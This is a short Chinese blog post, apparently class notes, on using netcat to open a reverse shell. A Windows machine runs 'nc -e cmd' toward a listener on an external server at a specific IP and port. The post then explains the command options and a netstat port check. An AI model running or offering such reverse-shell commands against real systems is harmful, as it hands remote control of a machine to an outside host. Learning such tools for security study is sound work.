netcat

AffettoIris 2023-10-31 2,292 10/31

 

nc即netcat 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用 TCP 或 UDP 协议的网络连接去读写数据。

我们在自己内网windows电脑上安装好netcat,在cmd输入nc -e cmd 62.234.14.252 8080

netcat

我们在外网linux上执行nc -lvp 8080监听本地的8080端口,然后

netcat

我们可以用外网服务器通过cmd操作内网电脑了。

exit是cmd的结束小黑框命令,所以exit和ctrl + c都可以终止本次连接。

看出两个问题:

  1. 中文乱码,如果目标系统的文件夹有中文,都cd不过去。

  2. 被控制端主动把自己交给控制端,要求两者在同一局域网内或控制端有公网IP

-e:在建立连接后执行一个命令。在此我们执行cmd

老师说这串命令可以把自己的cmd交给62.234.14.252的8080端口。这是因为内网电脑使用-e选项执行cmd命令,并将其输入/输出连接到外网电脑的nc进程,从而使外网电脑能够发送命令到内网电脑并接收返回的结果

-l选项表示nc将以监听模式运行,等待来自客户端的连接请求。,-v表示显示详细的输出信息。-p选项用于指定nc监听的端口号。

nc -lvp 8080和nc -lvvp 8080有区别吗

nc -lvvp 8080命令中的额外-v选项表示nc将以更详细的输出模式运行,提供更多的调试信息。这可能包括更详细的连接信息、数据传输的详细日志等。区别在于输出信息的详细程度。

附:

如何查看centos的8080端口有没有进程占用

netstat -tuln | grep 8080

netstat -tuln的四个选项是什么意思

netstat命令用于显示网络连接、路由表和网络接口等网络相关信息。

  • -t:表示显示TCP连接信息。

  • -u:表示显示UDP连接信息。

  • -l:表示仅显示处于监听状态的连接。

  • -n:表示以数字形式显示IP地址和端口号,而不使用域名或服务名称。

带选项n会显示fe80::5054:ff:fe6a::123,否则显示VM-8-9-centos:ntp

 

- THE END -

AffettoIris

10月31日22:59

最后修改:2023年10月31日
1

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论